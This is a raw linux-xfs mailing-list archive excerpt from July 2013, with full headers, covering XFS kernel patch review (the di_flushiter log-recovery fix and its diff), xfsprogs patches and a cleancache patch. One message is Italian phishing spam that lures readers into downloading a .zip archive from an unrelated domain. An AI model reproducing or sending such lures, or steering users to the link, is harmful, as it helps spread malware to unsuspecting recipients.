left in place because it wasn't > > > considered to be a problem. > > > > > > However, with the new "don't read inodes on create" optimisation, > > > flushiter has come back to bite us. Essentially, the optimisation > > > made always initialises flushiter to zero in the create transaction, > > > and so if we then crash and run recovery and the inode already on > > > disk has a non-zero flushiter it will skip recovery of that inode. > > > As a result, log recovery does the wrong thing and we end up with a > > > corrupt filesystem. > > > > > > Because we have to support old kernel to new kernl upgrades, we > > > can't just get rid of the flushiter support in log recovery as we > > > might be upgrading from a kernel that doesn't have fully transaction > > > inode updates. Unfortunately, for v4 superblocks there is no way to > > > guarantee that log recovery knows about this fact. > > > > > > We cannot add a new inode format flag to say it's a "special inode > > > create" because it won't be understood by older kernels and so > > > recovery could do the wrong thing on downgrade. We cannot specially > > > detect the combination of zero mode/non-zero flushiter on disk to > > > non-zero mode, zero flushiter in the log item during recovery > > > because wrapping of the flushiter can result in false detection. > > > > > > Hence that makes this "don't use flushiter" optimisation limited to > > > a disk format that guarantees that we don't need it. And that means > > > the only fix here is to limit the "no read IO on create" > > > optimisation to version 5 superblocks.... > > > > I think your patch misses the following part: > > > > @@ -1054,17 +1056,15 @@ xfs_iread( > > > > /* shortcut IO on inode allocation if possible */ > > if ((iget_flags & XFS_IGET_CREATE) && > > - !(mp->m_flags & XFS_MOUNT_IKEEP)) { > > + !(mp->m_flags & XFS_MOUNT_IKEEP) && > > + xfs_sb_version_hascrc(&mp->m_sb)) { > > /* initialise the on-disk inode core */ > > memset(&ip->i_d, 0, sizeof(ip->i_d)); > > ip->i_d.di_magic = XFS_DINODE_MAGIC; > > ip->i_d.di_gen = prandom_u32(); > > - if (xfs_sb_version_hascrc(&mp->m_sb)) { > > - ip->i_d.di_version = 3; > > - ip->i_d.di_ino = ip->i_ino; > > - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > > - } else > > - ip->i_d.di_version = 2; > > + ip->i_d.di_version = 3; > > + ip->i_d.di_ino = ip->i_ino; > > + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > > return 0; > > } > > Sure, it's dead code so doesn't affect the behaviour of the patch. > I'll update it, but I need you to reproduce the problem in a simple > manner as Mark did with this patch in place so I can find out what > the real problem you are seeing is.... No. It's not dead code. Please look at the patch that you've posted. For v2 inodes (my case) it doesn't change anything at all and the issue you describe so eloquently still exists. You wrote: "And that means the only fix here is to limit the "no read IO on create" to version 5 superblocks"." and this is exactly what the hunk above does. Mark and I have tested it and it fixes the problem for both of us... -- Markus From ps2rsaccucci@sogei.it Mon Jul 22 21:53:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 93F4F7F50 for ; Mon, 22 Jul 2013 21:53:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6D0E68F8040 for ; Mon, 22 Jul 2013 19:53:09 -0700 (PDT) X-ASG-Debug-ID: 1374547986-04bdf0245d2de0c0001-w1Z2WR Received: from s17057984.onlinehome-server.info (s17057984.onlinehome-server.info [87.106.7.98]) by cuda.sgi.com with ESMTP id NgDoxEASzZjWb9Vh for ; Mon, 22 Jul 2013 19:53:06 -0700 (PDT) X-Barracuda-Envelope-From: ps2rsaccucci@sogei.it X-Barracuda-Apparent-Source-IP: 87.106.7.98 Received: from [87.106.7.98] by s17057984.onlinehome-server.info id 5OhE2fyd5ohW with SMTP; Tue, 23 Jul 2013 03:53:06 +0100 Date: Tue, 23 Jul 2013 03:53:06 +0100 From: "I" X-Mailer: The Bat! (v4.2.95.9) Home X-Priority: 3 (Normal) Message-ID: <28904095.23637357054131@s17057984.onlinehome-server.info> To: Subject: Re: Ordine 9339331 MIME-Version: 1.0 X-ASG-Orig-Subj: Re: Ordine 9339331 Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: s17057984.onlinehome-server.info[87.106.7.98] X-Barracuda-Start-Time: 1374547986 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.85 X-Barracuda-Spam-Status: No, SCORE=0.85 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_MUA_THEBAT_CS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.85 FORGED_MUA_THEBAT_CS Mail pretending to be from The Bat! (charset) Ciao, linux-xfs@oss.sgi.com. Il vostro ordine e eseguito http://www2.wellingtonmarkets.co.uk/Informazioni.zip?Applicazione=3126463736=linux-xfs@oss.sgi.com (Ci scusiamo per il ritardo) == Tel.: +39 (55) 775 07 37 From mlsemon35@gmail.com Mon Jul 22 22:37:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6EA047F50 for ; Mon, 22 Jul 2013 22:37:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA0E5AC004 for ; Mon, 22 Jul 2013 20:37:07 -0700 (PDT) X-ASG-Debug-ID: 1374550626-04cbb0468f12d27c0001-NocioJ Received: from mail-gh0-f176.google.com (mail-gh0-f176.google.com [209.85.160.176]) by cuda.sgi.com with ESMTP id tqCOnN6fvjZfSPAW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 22 Jul 2013 20:37:06 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.160.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.176] Received: by mail-gh0-f176.google.com with SMTP id z17so2362210ghb.35 for ; Mon, 22 Jul 2013 20:37:06 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=GUQ/2lyMQR3ymZ4uGay/xJ9EeN3R1C3Fsd/Tazq+srQ=; b=Cr9Y/O1rMIGm8io6tuoA3Fk0YaPosGRt/9NBTucPc1GsR22Ket/nLImxUblUg/V515 MsXHcyEUn6Ojzqe7wRqCOm50D1DpQimkzQCWGUzL5QX/rBH0FWyKJiXXAZHYaVBNznix s+qjfmEF6bG9rhPZgLJpwxv+bK/6vdv3p/djiZIKIHiz29GBY0npZiYtU2dWp2fb8+Qm zAFvXCZzM8d4tjIb55VJPZkIr1QXCCnePnIfprwhEN5LIxpF8VSJ3H4B/MkjIai56/iB 6QN0W0ty9hDnsea/BhoWD0dxxZHiVcSORcRru5VZtzNgKdXklnmZK/nEV4oy3VtNQQY/ wqAw== X-Received: by 10.236.175.199 with SMTP id z47mr14379350yhl.241.1374550626434; Mon, 22 Jul 2013 20:37:06 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id s65sm43240029yhs.14.2013.07.22.20.37.04 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 22 Jul 2013 20:37:05 -0700 (PDT) Message-ID: <51EDFA5A.7070402@gmail.com> Date: Mon, 22 Jul 2013 23:36:58 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch References: <1374216324-8781-1-git-send-email-david@fromorbit.com> <51EB80DB.80602@gmail.com> <20130722233240.GC19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch In-Reply-To: <20130722233240.GC19986@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-gh0-f176.google.com[209.85.160.176] X-Barracuda-Start-Time: 1374550626 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/22/2013 07:32 PM, Dave Chinner wrote: > On Sun, Jul 21, 2013 at 02:34:03AM -0400, Michael L. Semon wrote: >> On 07/19/2013 02:44 AM, Dave Chinner wrote: >> >>> Comments, thoughts, flames? >> >> I was hoping that I could use this 3.12 patchset with a 3.11.0-rc >> kernel, but the xfstests look like a disaster by going that way. > > We'll, if you don't have all the filtering patches that I posted a > while back it'll make quite a mess with all the experimental > warnings mkfs and repair emit, and the xfs_db tests that modify > filesystem structures will all also fail... I've been slacking on xfstests updates. The problem may exist between keyboard and chair, though: I was trying to copy a merged xfsprogs from one PC to another, then build everything from `make distclean` after deleting /usr/include/xfs. Something must have gone wrong...won't be the first time... > I'll repost them later today... I'll take this patchset home and see if any of them were not committed to the xfsprogs git: http://oss.sgi.com/archives/xfs/2013-06/msg00217.html Is this the correct patchset? Thanks! Michael From david@fromorbit.com Mon Jul 22 23:44:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CD9C47F50 for ; Mon, 22 Jul 2013 23:44:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA34A8F8039 for ; Mon, 22 Jul 2013 21:44:56 -0700 (PDT) X-ASG-Debug-ID: 1374554694-04bdf0245d2e4a40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id zgmBbOvtXDO6nXZ4 for ; Mon, 22 Jul 2013 21:44:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlYsADMJ7lF5LPxH/2dsb2JhbABbgwY1rH4CjlKFLQQBgRUXdIIkAQEFOhwjEAgDGAklDwUlAyETiA8NuFcWjSuBNYEdB4N+A5dckU6DJCo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 14:14:53 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1USw-0005q8-Mt; Tue, 23 Jul 2013 14:44:50 +1000 Date: Tue, 23 Jul 2013 14:44:50 +1000 From: Dave Chinner To: "Michael L. Semon" Cc: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch Message-ID: <20130723044450.GG19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch References: <1374216324-8781-1-git-send-email-david@fromorbit.com> <51EB80DB.80602@gmail.com> <20130722233240.GC19986@dastard> <51EDFA5A.7070402@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EDFA5A.7070402@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374554694 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Mon, Jul 22, 2013 at 11:36:58PM -0400, Michael L. Semon wrote: > On 07/22/2013 07:32 PM, Dave Chinner wrote: > > On Sun, Jul 21, 2013 at 02:34:03AM -0400, Michael L. Semon wrote: > >> On 07/19/2013 02:44 AM, Dave Chinner wrote: > >> > >>> Comments, thoughts, flames? > >> > >> I was hoping that I could use this 3.12 patchset with a 3.11.0-rc > >> kernel, but the xfstests look like a disaster by going that way. > > > > We'll, if you don't have all the filtering patches that I posted a > > while back it'll make quite a mess with all the experimental > > warnings mkfs and repair emit, and the xfs_db tests that modify > > filesystem structures will all also fail... > > I've been slacking on xfstests updates. The problem may exist > between keyboard and chair, though: I was trying to copy a merged > xfsprogs from one PC to another, then build everything from `make > distclean` after deleting /usr/include/xfs. Something must have > gone wrong...won't be the first time... > > > I'll repost them later today... > > I'll take this patchset home and see if any of them were not > committed to the xfsprogs git: > > http://oss.sgi.com/archives/xfs/2013-06/msg00217.html > > Is this the correct patchset? Yeah, that's it, thugh I have a more recent version of it locally... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 22 23:50:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4EAB17F50 for ; Mon, 22 Jul 2013 23:50:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3540130404E for ; Mon, 22 Jul 2013 21:50:04 -0700 (PDT) X-ASG-Debug-ID: 1374555002-04cb6c2a41102e4d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 0iJaFSZPmriw3xZG for ; Mon, 22 Jul 2013 21:50:02 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0QAJIK7lF5LPxH/2dsb2JhbABbgwa8B4UtBAGBFRd0giQBAQUnExwjEAgDFQMJJQ8FJQMhE4gPuGUWjkUBEgiBHQeDfgOXXIojhyuDJCqBLAEBHg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 14:20:01 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1UXv-0005qg-MY; Tue, 23 Jul 2013 14:49:59 +1000 Date: Tue, 23 Jul 2013 14:49:59 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful Message-ID: <20130723044959.GH19986@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <20130722225640.GB19986@dastard> <20130723012827.GA360@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130723012827.GA360@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374555002 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 23, 2013 at 03:28:27AM +0200, Markus Trippelsdorf wrote: > On 2013.07.23 at 08:56 +1000, Dave Chinner wrote: > > On Mon, Jul 22, 2013 at 01:07:32PM +0200, Markus Trippelsdorf wrote: > > > On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > > > > From: Dave Chinner > > > > > > > > When we made all inode updates transactional, we no longer needed > > > > the log recovery detection for inodes being newer on disk than the > > > > transaction being replayed - it was redundant as replay of the log > > > > would always result in the latest version of the inode woul dbe on > > > > disk. It was redundant, but left in place because it wasn't > > > > considered to be a problem. > > > > > > > > However, with the new "don't read inodes on create" optimisation, > > > > flushiter has come back to bite us. Essentially, the optimisation > > > > made always initialises flushiter to zero in the create transaction, > > > > and so if we then crash and run recovery and the inode already on > > > > disk has a non-zero flushiter it will skip recovery of that inode. > > > > As a result, log recovery does the wrong thing and we end up with a > > > > corrupt filesystem. > > > > > > > > Because we have to support old kernel to new kernl upgrades, we > > > > can't just get rid of the flushiter support in log recovery as we > > > > might be upgrading from a kernel that doesn't have fully transaction > > > > inode updates. Unfortunately, for v4 superblocks there is no way to > > > > guarantee that log recovery knows about this fact. > > > > > > > > We cannot add a new inode format flag to say it's a "special inode > > > > create" because it won't be understood by older kernels and so > > > > recovery could do the wrong thing on downgrade. We cannot specially > > > > detect the combination of zero mode/non-zero flushiter on disk to > > > > non-zero mode, zero flushiter in the log item during recovery > > > > because wrapping of the flushiter can result in false detection. > > > > > > > > Hence that makes this "don't use flushiter" optimisation limited to > > > > a disk format that guarantees that we don't need it. And that means > > > > the only fix here is to limit the "no read IO on create" > > > > optimisation to version 5 superblocks.... > > > > > > I think your patch misses the following part: > > > > > > @@ -1054,17 +1056,15 @@ xfs_iread( > > > > > > /* shortcut IO on inode allocation if possible */ > > > if ((iget_flags & XFS_IGET_CREATE) && > > > - !(mp->m_flags & XFS_MOUNT_IKEEP)) { > > > + !(mp->m_flags & XFS_MOUNT_IKEEP) && > > > + xfs_sb_version_hascrc(&mp->m_sb)) { > > > /* initialise the on-disk inode core */ > > > memset(&ip->i_d, 0, sizeof(ip->i_d)); > > > ip->i_d.di_magic = XFS_DINODE_MAGIC; > > > ip->i_d.di_gen = prandom_u32(); > > > - if (xfs_sb_version_hascrc(&mp->m_sb)) { > > > - ip->i_d.di_version = 3; > > > - ip->i_d.di_ino = ip->i_ino; > > > - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > > > - } else > > > - ip->i_d.di_version = 2; > > > + ip->i_d.di_version = 3; > > > + ip->i_d.di_ino = ip->i_ino; > > > + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > > > return 0; > > > } > > > > Sure, it's dead code so doesn't affect the behaviour of the patch. > > I'll update it, but I need you to reproduce the problem in a simple > > manner as Mark did with this patch in place so I can find out what > > the real problem you are seeing is.... > > No. It's not dead code. Please look at the patch that you've posted. I was looking at the code in my tree. It appears that what I sent out is an incomplete version - the patch in my tree up to date and has a xfs_sb_version_hascrc() check around this entire set of code. I guess I missed a 'guilt refresh'... Cheers, Dave. -- Dave Chinner david@fromorbit.com From james.dingwall@zynstra.com Tue Jul 23 02:23:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1DAC67F55 for ; Tue, 23 Jul 2013 02:23:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F05468F8037 for ; Tue, 23 Jul 2013 00:23:09 -0700 (PDT) X-ASG-Debug-ID: 1374564187-04cb6c2a4110376a0001-NocioJ Received: from emea01-am1-obe.outbound.protection.outlook.com (mail-am1lp0011.outbound.protection.outlook.com [213.199.154.11]) by cuda.sgi.com with ESMTP id s9O9m3dSW15BqQD8 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 23 Jul 2013 00:23:08 -0700 (PDT) X-Barracuda-Envelope-From: james.dingwall@zynstra.com X-Barracuda-Apparent-Source-IP: 213.199.154.11 Received: from AMXPRD0511HT001.eurprd05.prod.outlook.com (157.56.250.85) by AMXPR03MB103.eurprd03.prod.outlook.com (10.242.87.26) with Microsoft SMTP Server (TLS) id 15.0.731.16; Tue, 23 Jul 2013 07:23:05 +0000 Message-ID: <51EE2F54.80701@zynstra.com> Date: Tue, 23 Jul 2013 08:23:00 +0100 From: James Dingwall User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 SeaMonkey/2.19 MIME-Version: 1.0 To: Konrad Rzeszutek Wilk CC: Dave Chinner , Ben Myers , Subject: Re: Cleancache support in XFS References: <51810CED.4080003@zynstra.com> <20130501162044.GN29359@sgi.com> <20130501223022.GQ10481@dastard> <518222D3.3080109@zynstra.com> <20130522192834.GD10617@phenom.dumpdata.com> <519F1708.10603@zynstra.com> <20130607170826.GA6925@phenom.dumpdata.com> <51E8E834.6080509@zynstra.com> <20130722154812.GC30300@phenom.dumpdata.com> X-ASG-Orig-Subj: Re: Cleancache support in XFS In-Reply-To: <20130722154812.GC30300@phenom.dumpdata.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [157.56.250.85] X-ClientProxiedBy: AMXPR03CA001.eurprd03.prod.outlook.com (10.242.64.11) To AMXPR03MB103.eurprd03.prod.outlook.com (10.242.87.26) X-Forefront-PRVS: 0916FC3A18 X-Forefront-Antispam-Report: SFV:NSPM;SFS:(24454002)(164054003)(41574002)(189002)(199002)(51704005)(52544002)(77096001)(66066001)(74366001)(36756003)(49866001)(50986001)(80022001)(47736001)(83322001)(47976001)(19580385001)(19580395003)(77982001)(23756003)(59766001)(56816003)(76796001)(64126003)(79102001)(76786001)(74706001)(74876001)(76482001)(15202345003)(50466002)(42186004)(54316002)(16406001)(69226001)(53806001)(46102001)(81342001)(4396001)(74502001)(51856001)(31966008)(47776003)(74662001)(81542001)(63696002)(47446002)(83072001)(56776001)(33656001)(54356001);DIR:OUT;SFP:;SCL:1;SRVR:AMXPR03MB103;H:AMXPRD0511HT001.eurprd05.prod.outlook.com;CLIP:157.56.250.85;RD:InfoNoRecords;MX:1;A:1;LANG:en; X-OriginatorOrg: zynstra.com X-Barracuda-Connect: mail-am1lp0011.outbound.protection.outlook.com[213.199.154.11] X-Barracuda-Start-Time: 1374564187 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Konrad Rzeszutek Wilk wrote: > On Fri, Jul 19, 2013 at 08:18:12AM +0100, James Dingwall wrote: >> Konrad Rzeszutek Wilk wrote: >>> On Fri, May 24, 2013 at 08:30:16AM +0100, James Dingwall wrote: >>>> Konrad Rzeszutek Wilk wrote: >>>>> On Thu, May 02, 2013 at 09:24:51AM +0100, James Dingwall wrote: >>>>>> Dave Chinner wrote: >>>>>>> On Wed, May 01, 2013 at 11:20:44AM -0500, Ben Myers wrote: >>>>>>>> Hi James, >>>>> Hey folks, >>>>> I am walking through my vacation-emails-mbox. >>>>> >>>>>>>> On Wed, May 01, 2013 at 01:39:09PM +0100, James Dingwall wrote: >>>>>>>>> In reference to: http://oss.sgi.com/archives/xfs/2012-05/msg00046.html >>>>>>>>> >>>>>>>>> $ grep -r cleancache fs/xfs >>>>>>>>> on the 3.9 kernel source suggests that no patch was submitted to >>>>>>>>> enable cleancache for the XFS filesystem. Since it was suggested >>>>>>>>> that this could be a one liner I've had a go and my first effort is >>>>>>>>> inline below. While this seems to compile OK I have no experience >>>>>>>>> in filesystems so I would appreciate it if anyone can point out that >>>>>>>>> it is obviously wrong and likely to eat my data before I try booting >>>>>>>>> the kernel. >>>>>>>>> >>>>>>>>> If it seems a reasonable attempt what would be the best way to check >>>>>>>>> that it isn't doing nasty things? >>>>>>>> Hrm.. Looks like there is a doc in Documentation/vm/cleancache.txt which >>>>>>>> includes a list of attributes the filesystem needs to have to work properly >>>>>>>> with cleancache. >>>>>>> So, those points are: >>>>>> I had started to look at these too but I feel very out of my depth! >>>>>> I had similar conclusions to what Dave wrote but I don't think my >>>>>> thoughts should carry very much (any) weight. Anyway I gambled and >>>>>> booted my xen domU with this patch and so far so good... xen top >>>>>> shows that tmem is now being used where previously it wasn't. I'll >>>>>> try running the xfstests at the weekend after a couple more days up >>>>>> time to see what happens. >>>>> And how did it go? >>>> I am running the patch I created on 3.9.3 on half of my xen guests >>>> now and have not noticed any stability or filesystem problems. xl >>>> top with 'T' shows that the guests running with it are using >>>> ephemeral pages were those without do not. I did do some runs with >>>> xfstests which had some failures but they were present with and >>>> without the patch. The best I can really offer is that it works for >>>> me, ymmv. The patch is available as commit >>>> c725011c4fc5d47e12d131f61bd91a58a40036b5 in >>>> https://github.com/JKDingwall/linux.git xfs-enable-cleancache or in >>>> the first message of this thread. >>> Hey James, >>> >>> I've run this patch on my local tree and it looks to work right. I am >>> saying "looks" as I am hitting some other issue that I believe are >>> unralted to the patch - but I need to figure them out before I can >>> comfortably say: "Yes, this looks right and works for me as well." >>> >>> Stay tuned. >> Just to add that I have also had no observable problems running this >> patch on 3.10.0 or 3.10.1. > Yup. And I tested it as well. In other words if you would like to add > Acked-by from me that would be super. Thanks! My patch is now available in https://github.com/JKDingwall/linux.git xfs-enable-cleancache as commit id 6d50663e4ec88b7e1fd872b12ac310b1f4bb38c6. I have rebased it on 3.10 with KRW's Acked-by and my Signed-off-by in the commit message. Is it reasonable for this to be considered for 3.12 or would further testing be required? Thanks, James From david@fromorbit.com Tue Jul 23 03:27:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8D92C7F54 for ; Tue, 23 Jul 2013 03:27:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C434AC001 for ; Tue, 23 Jul 2013 01:27:22 -0700 (PDT) X-ASG-Debug-ID: 1374568040-04cbb0468e12e5000001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id tEukAqbJvkTAhg2j for ; Tue, 23 Jul 2013 01:27:21 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlYsAPw87lF5LPxH/2dsb2JhbABbgwY1rQICjlKFLQQBgRAXdIIkAQEFOhwjEAgDGAklDwUlAyETiA8NuD8WjSuBNYEdB4N+A5dckU6DJCo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 17:57:19 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1Xvw-0006Hi-Vb; Tue, 23 Jul 2013 18:27:01 +1000 Date: Tue, 23 Jul 2013 18:27:00 